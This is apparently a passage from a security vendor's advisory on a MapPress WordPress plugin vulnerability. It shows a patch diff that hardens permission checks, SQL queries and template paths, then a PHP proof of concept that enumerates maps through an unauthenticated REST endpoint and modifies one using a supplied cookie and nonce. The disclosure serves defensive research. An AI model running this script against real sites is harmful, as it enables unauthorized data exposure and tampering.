-					return current_user_can('edit_posts');
-				},
+				'permission_callback' => function() { return current_user_can(Mappress::cap()); },
 				'schema' => array($this, 'get_map_schema'),
 			)
 		);
@@ -376,9 +386,7 @@
 			array(
 				'methods' => 'GET',
 				'callback' => array($this, 'get_counts'),
-				'permission_callback' => function() {
-					return current_user_can('edit_posts');
-				},
+				'permission_callback' => function() { return current_user_can(Mappress::cap()); },
 				'args' => array(
 					'otype' => array('sanitize_callback' => 'sanitize_title'),
 					'oid' => array('sanitize_callback' => 'absint'),
@@ -394,9 +402,7 @@
 			array(
 				'methods' => 'POST',
 				'callback' => array($this, 'empty_trash'),
-				'permission_callback' => function() {
-					return current_user_can('edit_posts');
-				}
+				'permission_callback' => function() { return current_user_can(Mappress::cap('empty_trash')); },
 			)
 		);

--- a/mappress-google-maps-for-wordpress/mappress_compliance.php
+++ b/mappress-google-maps-for-wordpress/mappress_compliance.php
@@ -20,23 +20,34 @@
 	}

 	static function clear_complianz_cache() {
-		delete_transient('cmplz_blocked_scripts');
-	}
-
+		// Refresh MapPress options so we have the latest
+		Mappress::$options = Mappress_Options::get();
+
+		// Complianz uses its own cache, not standard WP transients
+		if ( function_exists( 'cmplz_delete_transient' ) ) {
+			cmplz_delete_transient( 'cmplz_blocked_scripts' );
+		}
+	}
+
 	static function cmplz_script( $tags ) {
+		// OpenFreeMap + Leaflet: OFM does not track users and sets no cookies, so no consent required
+		if (Mappress::$options->engine == 'leaflet' && Mappress::get_tile_service() == 'ofm') {
+			return $tags;
+		}
+
+		// Iframe with google or mapbox
 		if (Mappress::$options->iframes) {
-			// Iframes
 			$tags[] = array(
-				'name' => 'mappress iframes',
-				'urls' => array(
-					'mappress=embed',
-				),
-				'category' => 'marketing',
-				'iframe' => 1,
+				'name'        => 'mappress',
+				//'placeholder' => 'google-maps',   // causes disconcerting flash before iframe loads
+				'urls'        => array('mappress=embed'),
+				'category'    => 'marketing',
+				'iframe'      => 1,
 			);
+			return $tags;
 		}
-
-		else if (Mappress::$options->engine == 'google') {
+
+		if (Mappress::$options->engine == 'google') {
 			// Google Maps — requires consent (tracks users)
 			// maps.googleapis.com is loaded dynamically by index_mappress.js (not a WP-enqueued script),
 			// so we only block index_mappress.js. No placeholder — Complianz fires it automatically on consent.
@@ -47,23 +58,17 @@
 					'build/index_mappress',
 				),
 			);
-		}
-
-		else if (Mappress::$options->engine == 'leaflet' && Mappress::get_tile_service() == 'ofm') {
-			// OpenFreeMap + Leaflet: OFM does not track users and sets no cookies.
-			// No consent is required — do not register with Complianz so scripts load freely.
 			return $tags;
-			}
+		}

 		else {
 			// Leaflet with Mapbox tiles (or other non-OFM tile service) — Mapbox may track
 			$dependency = array();
-
-				if (Mappress::$options->clustering) {
-					$dependency = [
-						'leaflet.js'             => 'leaflet.markercluster.js',
+			if (Mappress::$options->clustering) {
+				$dependency = [
+					'leaflet.js' => 'leaflet.markercluster.js',
 					'leaflet.markercluster.js' => 'index_mappress.js',
-					];
+				];
 			}

 			// Without clustering, still ensure leaflet loads before index_mappress
@@ -83,7 +88,8 @@
 				'enable_dependency' => true,
 				'dependency' => $dependency,
 			);
-		}
+			return $tags;
+		}

 		return $tags;
 	}
--- a/mappress-google-maps-for-wordpress/mappress_db.php
+++ b/mappress-google-maps-for-wordpress/mappress_db.php
@@ -11,12 +11,14 @@
 		global $wpdb;
 		$maps_table = $wpdb->prefix . 'mapp_maps';

-		$exists = $wpdb->get_var("show tables like '$maps_table'");
+		$exists = $wpdb->get_var($wpdb->prepare("SHOW TABLES LIKE %s", $maps_table));
 		if ($exists)
 			return;

 		$wpdb->show_errors(true);
-		$result = $wpdb->query("CREATE TABLE IF NOT EXISTS $maps_table (
+
+		$result = $wpdb->query($wpdb->prepare(
+			"CREATE TABLE IF NOT EXISTS %i (
 			mapid INT NOT NULL AUTO_INCREMENT,
 			otype VARCHAR(32),
 			oid INT,
@@ -26,8 +28,9 @@
 			INDEX title_idx (title(191)),
 			PRIMARY KEY  (mapid),
 			UNIQUE KEY object_idx (otype, oid, mapid)
-			) CHARACTER SET utf8;"
-		);
+			) CHARACTER SET utf8;",
+			$maps_table
+		));
 		$wpdb->show_errors(false);
 		return $result;
 	}
@@ -87,20 +90,25 @@
 		$posts_table = $wpdb->prefix . 'mappress_posts';

 		// Create new maps table
-		$wpdb->query("DROP TABLE IF EXISTS $new_maps");
+		$wpdb->query($wpdb->prepare("DROP TABLE IF EXISTS %i", $new_maps));
 		$result = self::create_db();
 		if ($result === false)
 			return $wpdb->last_error();

 		// Populate
-		$sql = "SELECT $posts_table.mapid, $posts_table.postid, $old_maps.obj "
-		. " FROM $old_maps "
-		. " INNER JOIN $posts_table ON ($posts_table.mapid = $old_maps.mapid)";
-		$rows = $wpdb->get_results($sql);
-
+		$sql = $wpdb->prepare(
+			"SELECT %i.mapid, %i.postid, %i.obj
+			   FROM %i
+			   INNER JOIN %i ON (%i.mapid = %i.mapid)",
+			$posts_table, $posts_table, $old_maps,
+			$old_maps,
+			$posts_table, $posts_table, $old_maps
+		);
+		$rows = $wpdb->get_results($sql);
+
 		// Modify rows, can be rerun because most data is read from legacy posts table
 		foreach($rows as $row) {
-			$mapdata = unserialize($row->obj);
+			$mapdata = unserialize($row->obj, array('allowed_classes' => array('Mappress_Map', 'Mappress_Poi')));   // Note only these classes expected
 			$mapdata->mapid = $row->mapid;
 			$mapdata->oid = $row->postid;
 			$mapdata->otype = 'post';
--- a/mappress-google-maps-for-wordpress/mappress_map.php
+++ b/mappress-google-maps-for-wordpress/mappress_map.php
@@ -114,7 +114,8 @@

 		add_action('deleted_post', array(__CLASS__, 'deleted_post'));
 		add_action('trashed_post', array(__CLASS__, 'trashed_post'));
-		add_action('media_buttons', array(__CLASS__, 'media_buttons'));
+		if (current_user_can(Mappress::cap()))
+			add_action('media_buttons', array(__CLASS__, 'media_buttons'));

 		add_action('show_user_profile', array(__CLASS__, 'display_user_map'));
 		add_action('edit_user_profile', array(__CLASS__, 'display_user_map'));
@@ -160,9 +161,8 @@
 	static function ajax_get_post() {
 		global $post;

-		check_ajax_referer('mappress', 'nonce');
 		ob_start();
-		$oid = (isset($_GET['oid'])) ? $_GET['oid']  : null;
+		$oid = isset($_GET['oid']) ? absint($_GET['oid']) : 0;

 		$post = get_post( $oid );

@@ -486,9 +486,15 @@
 	}

 	static function media_buttons($editor_id) {
-		$button = sprintf("<button type='button' class='button wp-media-buttons-icon mapp-classic-button'><span class='dashicons dashicons-location'></span>%s</button>", __('MapPress', 'mappress-google-maps-for-wordpress'));
-		echo "<div class='mapp-classic'>$button</div>";
-	}
+		?>
+		<div class='mapp-classic'>
+			<button type='button' class='button mapp-classic-button'>
+				<span class='dashicons dashicons-location'></span>
+				<?php echo esc_html(__('MapPress', 'mappress-google-maps-for-wordpress')); ?>
+			</button>
+		</div>
+		<?php
+	}

 	static function mutate($mapid, $mapdata) {
 		if (!$mapid || !$mapdata)
@@ -571,7 +577,7 @@
 		if (!$this->mapid) {
 			$sql = "INSERT INTO $maps_table (otype, oid, status, title, obj) VALUES(%s, %d, %s, %s, %s)";
 			$result = $wpdb->query($wpdb->prepare($sql, $this->otype, $this->oid, $this->status, $this->title, $obj));
-			$this->mapid = $wpdb->get_var("SELECT LAST_INSERT_ID()");
+			$this->mapid = $wpdb->insert_id;
 		} else {
 			$sql = "INSERT INTO $maps_table (mapid, otype, oid, status, title, obj) VALUES(%d, %s, %d, %s, %s, %s) "
 				. " ON DUPLICATE KEY UPDATE mapid=%d, otype=%s, oid=%d, status=%s, title=%s, obj=%s ";
--- a/mappress-google-maps-for-wordpress/mappress_settings.php
+++ b/mappress-google-maps-for-wordpress/mappress_settings.php
@@ -104,9 +104,6 @@
 		if (Mappress_Settings::iframes_required())
 			$options['iframes'] = true;

-		if (isset($_REQUEST['mp_iframes']))
-			$options['iframes'] = ($_REQUEST['mp_iframes']) ? true : false;
-
 		return new Mappress_Options($options);
 	}

@@ -141,7 +138,9 @@
 		if (!current_user_can('manage_options'))
 			Mappress::ajax_response('Not authorized');

-		$args = json_decode(wp_unslash($_POST['data']));
+		$args = isset($_POST['data']) ? json_decode(wp_unslash($_POST['data'])) : null;
+			if (!$args) Mappress::ajax_response('Missing data');
+
 		$batch_size = $args->batch_size;
 		$otype = $args->otype;
 		$start = $args->start;
@@ -156,16 +155,19 @@
 			Mappress::ajax_response('OK', array('logs' => array(), 'errors' => array()));

 		// Get all meta keys for otype, as a quoted, comma-separated list to be used in sql
-		$string_keys = array_map(function($key) { return "'$key'"; }, $keys);
-		$string_keys = join(',', $string_keys);
-		$meta_table = ($otype == 'post') ? $wpdb->postmeta : $wpdb->usermeta;
+		$keys = array_map(function($k) { return "'" . esc_sql($k) . "'"; }, $keys);
+		$string_keys = join(',', $keys);

+		$meta_table = ($otype == 'post') ? $wpdb->postmeta : $wpdb->usermeta;
+
 		// Read all objects with at least ONE of the mapped keys
 		$where = " WHERE meta_key IN ($string_keys)";
 		$limit = sprintf(" LIMIT %d, %d", $start, $batch_size);

 		if ($otype == 'post') {
-			$where .= " AND $wpdb->posts.post_type IN ('" .  implode("', '", Mappress::$options->postTypes) . "')";
+			$post_types = Mappress::$options->postTypes;
+			$placeholders = implode(',', array_fill(0, count($post_types), '%s'));
+			$where .= $wpdb->prepare(" AND $wpdb->posts.post_type IN ($placeholders) ", $post_types);
 			$sql = "SELECT DISTINCT post_id AS oid, post_title AS title FROM $wpdb->postmeta INNER JOIN $wpdb->posts ON $wpdb->postmeta.post_id = $wpdb->posts.ID $where $limit";
 		} else {
 			$sql = "SELECT DISTINCT user_id AS oid, user_nicename AS title FROM $wpdb->usermeta INNER JOIN $wpdb->users ON $wpdb->usermeta.user_id = $wpdb->users.ID $where $limit";
@@ -183,10 +185,11 @@
 		// Get errors only when finished
 		$errors = (count($logs) < $batch_size) ? self::get_geocoding_errors($otype) : array();

-		// For testing, mp_geocode=10 will stop after 10 rows processed
-		if (isset($_REQUEST['mp_geocode']) && $start > $_REQUEST['mp_geocode'])
-			Mappress::ajax_response('OK', array('logs' => array(), 'errors' => $errors));
-
+		// For testing - mp_geocode=10 will stop after 10 rows processed
+		$mp_geocode_limit = isset($_REQUEST['mp_geocode']) ? absint($_REQUEST['mp_geocode']) : 0;
+		if ($mp_geocode_limit && $start > $mp_geocode_limit)
+			Mappress::ajax_response('OK', array('logs' => array(), 'errors' => $errors));
+
 		Mappress::ajax_response('OK', array('logs' => $logs, 'errors' => $errors));
 	}

@@ -195,14 +198,13 @@

 		if (!current_user_can('manage_options'))
 			Mappress::ajax_response('Not authorized');
-
-		$args = json_decode(wp_unslash($_POST['data']));
-		$license = $args->license;
-		if (!$license)
-			Mappress::ajax_response('Internal error, missing license!');
-
+
+		$args = isset($_POST['data']) ? json_decode(wp_unslash($_POST['data'])) : null;
+		if (!$args || !isset($args->license))
+			Mappress::ajax_response('Missing data');
+
 		ob_start();
-		$status = Mappress::$updater->check($license);
+		$status = Mappress::$updater->check($args->license);
 		Mappress::ajax_response('OK', $status);
 	}

@@ -211,8 +213,8 @@
 		if (!current_user_can('manage_options'))
 			Mappress::ajax_response('Not authorized');

-		$args = json_decode(wp_unslash($_POST['data']));
-		if (!$args->id)
+		$args = isset($_POST['data']) ? json_decode(wp_unslash($_POST['data'])) : null;
+		if (!$args || !isset($args->id))
 			Mappress::ajax_response('Missing style ID');

 		$options = Mappress_Options::get();
@@ -233,13 +235,14 @@

 		$args = json_decode(wp_unslash($_POST['data']));
 		$style = $args->style;
-		if (!$style)
-			Mappress::ajax_response('Missing style');
+		if (!$style || !is_object($style))
+			Mappress::ajax_response('Missing style');
+
 		$options = Mappress_Options::get();
 		$setting = ($options->engine == 'google') ? 'stylesGoogle' : 'stylesMapbox';

 		// Update if style has an ID, otherwise treat it as new.  New Snazzy styles have an ID, otherwise assign uniqid
-		$id = ($style->id) ? $style->id : null;
+		$id = (isset($style->id) && $style->id) ? $style->id : null;
 		$i = ($id) ? array_search($id, array_column($options->$setting, 'id')) : false;

 		if ($i === false) {
@@ -258,14 +261,16 @@
 		if (!current_user_can('manage_options'))
 			Mappress::ajax_response('Not authorized');

-		$args = json_decode(wp_unslash($_POST['data']));
-		$settings = $args->settings;
+		$args = isset($_POST['data']) ? json_decode(wp_unslash($_POST['data'])) : null;
+		if (!$args || !isset($args->settings) || !is_object($args->settings))
+			Mappress::ajax_response('Missing settings');
+
 		$options = Mappress_Options::get();
-		foreach($settings as $setting => $value)
+		foreach($args->settings as $setting => $value)
 			$options->$setting = $value;
 		$options->save();
 		Mappress::ajax_response('OK');
-	}
+	}

 	// Save all the options
 	static function ajax_options_save() {
@@ -275,21 +280,26 @@

 		ob_start();

-		// Receive arrays, not objects
-		$args = json_decode(wp_unslash($_POST['data']), true);
+		// Receive arrays, not objects
+		$args = isset($_POST['data']) ? json_decode(wp_unslash($_POST['data']), true) : null;
+		if (!$args)
+			Mappress::ajax_response('Internal error, missing data!');
+
 		$settings = (object) $args['settings'];
-
 		if (!$settings)
 			Mappress::ajax_response('Internal error, missing settings!');

 		// Convert JS object arrays to PHP associative arrays
-		self::assoc($settings->autoicons['values'], true);
-		self::assoc($settings->metaKeys['post'], true);
-		self::assoc($settings->metaKeys['user'], true);
+		if (isset($settings->autoicons['values']))
+			self::assoc($settings->autoicons['values'], true);
+		if (isset($settings->metaKeys['post']))
+			self::assoc($settings->metaKeys['post'], true);
+		if (isset($settings->metaKeys['user']))
+			self::assoc($settings->metaKeys['user'], true);

 		// If license changed, clear cache so it re-checks on next load
-		if ($settings->license && $settings->license != Mappress::$options->license)
-			Mappress::$updater->clear_cache();
+		if (isset($settings->license) && $settings->license && $settings->license != Mappress::$options->license)
+			Mappress::$updater->clear_cache();

 		// Update() converts strings to booleans, but it's not recursive, so explicitly convert nested booleans inside arrays
 		if (isset($settings->clusteringOptions['spiderfyOnMaxZoom']))
@@ -318,7 +328,8 @@
 		$options->update($settings);

 		// Default icon may be null, in which case update will have skipped it
-		$options->defaultIcon = $settings->defaultIcon;
+		if (isset($settings->defaultIcon))
+			$options->defaultIcon = $settings->defaultIcon;

 		$options->save();
 		Mappress::ajax_response('OK');
@@ -334,11 +345,15 @@
 		if (!$user_id)
 			Mappress::ajax_response('No user ID');

-		$data = json_decode(wp_unslash($_POST['data']));
+		$args = isset($_POST['data']) ? json_decode(wp_unslash($_POST['data'])) : null;
+		if (!$args || !isset($args->preferences))
+			Mappress::ajax_response('Missing data');
+
 		$user_prefs = get_user_meta($user_id, 'mappress_preferences', true);
 		$user_prefs = ($user_prefs) ? $user_prefs : (object) array();
-		foreach($data->preferences as $pref => $value)
+		foreach($args->preferences as $pref => $value)
 			$user_prefs->$pref = $value;
+
 		update_user_meta($user_id, 'mappress_preferences', $user_prefs);
 		Mappress::ajax_response('OK');
 	}
@@ -579,8 +594,6 @@
 			return 'Jetpack infinite scroll';
 		if (Mappress::is_plugin_active('amp'))
 			return 'Google AMP';
-		if (isset($_REQUEST['mp_iframes']))
-			return 'Debugging';
 	}

 	static function options_page() {
@@ -620,7 +633,7 @@
 		$initial_state = array(
 			'apiKey' => $options->apiKey,
 			'engine' => $options->engine,
-			'isOpen' => (isset($_REQUEST['wizard']) && $_REQUEST['wizard']) ? true : false,
+			'isOpen' => (current_user_can('manage_options') && !empty($_REQUEST['wizard'])) ? true : false,
 			'mapbox' => $options->mapbox,
 		);
 		?>
--- a/mappress-google-maps-for-wordpress/mappress_template.php
+++ b/mappress-google-maps-for-wordpress/mappress_template.php
@@ -55,40 +55,49 @@

 	static function ajax_delete() {
 		check_ajax_referer('mappress', 'nonce');
-
-		if (!current_user_can('manage_options'))
-			Mappress::ajax_response('Not authorized');
+		if (!current_user_can('manage_options')) Mappress::ajax_response('Not authorized');

 		$args = json_decode(wp_unslash($_POST['data']));
-		$name = isset($args->name) ? sanitize_text_field($args->name) : '';
+		$name = isset($args->name) ? $args->name : '';
+		$filepath = self::get_ajax_filepath($name);
+
+		$result = @unlink($filepath);
+		if ($result === false) Mappress::ajax_response('Unable to delete');
+		Mappress::ajax_response('OK');
+	}
+
+	static function get_ajax_filepath($name) {
+		$name = sanitize_text_field((string) $name);

 		if ($name === '')
 			Mappress::ajax_response('Missing template name');

-		$filepath = get_stylesheet_directory() . '/' . $name . '.php';
-
-		$result = @unlink($filepath);
-			if ($result === false)
-				Mappress::ajax_response('Unable to delete');
+		if ($name !== basename($name))
+			Mappress::ajax_response('Invalid template name');

-		Mappress::ajax_response('OK');
-	}
+		$stylesheet_dir = realpath(get_stylesheet_directory());
+		$filepath = $stylesheet_dir . '/' . $name . '.php';
+		$resolved = realpath($filepath);
+
+		// If the file already exists, confirm it's still inside the stylesheet dir
+		if ($resolved !== false && strpos($resolved, $stylesheet_dir) !== 0)
+			Mappress::ajax_response('Path traversal blocked');
+
+		return $filepath;
+	}

 	static function ajax_get() {
 		check_ajax_referer('mappress', 'nonce');

 		if (!current_user_can('manage_options'))
-			Mappress::ajax_response('Not authorized');
-
-		// Get user template
-		$name = isset($_GET['name']) ? sanitize_text_field(wp_unslash($_GET['name'])) : '';
-		if ($name === '')
-			Mappress::ajax_response('Missing template name');
+			Mappress::ajax_response('Not authorized');

-		$filename = $name . '.php';
-		$filepath = get_stylesheet_directory() . '/' . $filename;
+		$name = isset($_GET['name']) ? wp_unslash($_GET['name']) : '';
+		$filepath = self::get_ajax_filepath($name);
+		$name = sanitize_text_field($name);          // for use below
+		$filename = $name . '.php';

-		$html = (is_string($filepath) && $filepath !== '' && file_exists($filepath)) ? @file_get_contents($filepath) : null;
+		$html = (file_exists($filepath)) ? file_get_contents($filepath) : null;

 		// Get standard template
 		$basedir = realpath(Mappress::$basedir);
@@ -97,7 +106,7 @@
 		if (!$basedir || !$standard_file || strpos($standard_file, $basedir) !== 0)
 			Mappress::ajax_response('Invalid standard template path');

-		$standard_html = @file_get_contents($standard_file);
+		$standard_html = file_get_contents($standard_file);
 		if (!$standard_html)
 			Mappress::ajax_response('Invalid standard template');

@@ -126,14 +135,10 @@
 			Mappress::ajax_response('Not authorized: DISALLOW_UNFILTERED_HTML is set in wp-config.php');

 		$args = json_decode(wp_unslash($_POST['data']));
-		$name = isset($args->name) ? sanitize_text_field($args->name) : '';
+		$name = isset($args->name) ? $args->name : '';
 		$content = isset($args->content) ? $args->content : '';

-		if ($name === '')
-			Mappress::ajax_response('Missing template name');
-
-		$filename = $name . '.php';
-		$filepath = get_stylesheet_directory() . '/' . $filename;
+		$filepath = self::get_ajax_filepath($name);

 		$result = @file_put_contents($filepath, $content);
 		if ($result === false)
@@ -155,7 +160,7 @@
 		// If user template exists, check it's not empty (or all whitespace)
 		$html = null;
 		if ($template_file && file_exists($template_file)) {
-			$html = @file_get_contents($template_file);
+			$html = file_get_contents($template_file);
 			if ($html !== false) {
 				$html =  trim(str_replace(array("rn", "t"), array(), $html));
 				$html = ($html === '') ? null : $html;
@@ -193,7 +198,7 @@
 			$props[$token] = get_metadata($otype, $oid, $token, true);
 		return apply_filters('mappress_poi_props', $props, $oid, $poi, $otype);
 	}
-
+
 	static function get_custom_tokens($otype) {
 		$tokens = array();
 		$templates = ($otype == 'user') ? array('user-mashup-popup', 'user-mashup-item') : array('map-popup', 'map-item', 'mashup-item', 'mashup-popup');
@@ -236,7 +241,8 @@
 		$template = self::get_template($template_name);
 		if ($template) {
 			$template = str_replace('</script', '</script', $template); // Remove any script tags in the template itself
-			echo "<script type='text/html' class='mapp-tmpl' id='mapp-tmpl-$template_name'>$template</script>";
+			$template_id = esc_attr("mapp-tmpl-$template_name");
+			echo "<script type='text/html' class='mapp-tmpl' id='$template_id'>$template</script>";
 		}
 	}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8839 - MapPress Maps for WordPress <= 2.96.6 - Unauthenticated Insecure Direct Object Reference via REST API Endpoints

$target_url = 'http://example.com'; // Change this to the target WordPress site URL

// Step 1: Enumerate map IDs from 1 to 50 (adjust range as needed)
for ($mapid = 1; $mapid <= 50; $mapid++) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/mapp/v1/maps/' . $mapid);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && $response) {
        $data = json_decode($response, true);
        if (isset($data['mapid'])) {
            echo "Found Map ID: " . $data['mapid'] . "n";
            echo "Title: " . (isset($data['title']) ? $data['title'] : 'N/A') . "n";
            echo "Map Data (including POIs):n";
            print_r($data);
            echo "n---nn";
        }
    }
}

// Step 2: Authenticated exploitation - Replace with valid WordPress cookie and nonce
// This section demonstrates how an authenticated attacker with Contributor-level can modify a map
$admin_cookie = 'wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxx'; // Replace with valid cookie
$nonce = 'valid_nonce_here'; // Replace with a valid REST API nonce

$mapid_to_modify = 1; // Target map ID to modify

// Get the current map data first
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/mapp/v1/maps/' . $mapid_to_modify);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json', 'Cookie: ' . $admin_cookie));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

$map_data = json_decode($response, true);
if ($map_data && isset($map_data['mapid'])) {
    // Modify the title to show unauthorized modification
    $map_data['title'] = 'MODIFIED BY ATTACKER - CVE-2026-8839';
    
    // Send an update request
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/mapp/v1/maps/' . $mapid_to_modify);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($map_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $nonce,
        'Cookie: ' . $admin_cookie
    ));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200) {
        echo "Map ID $mapid_to_modify successfully modified.n";
    } else {
        echo "Failed to modify map ID $mapid_to_modify. HTTP Code: $http_coden";
    }
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School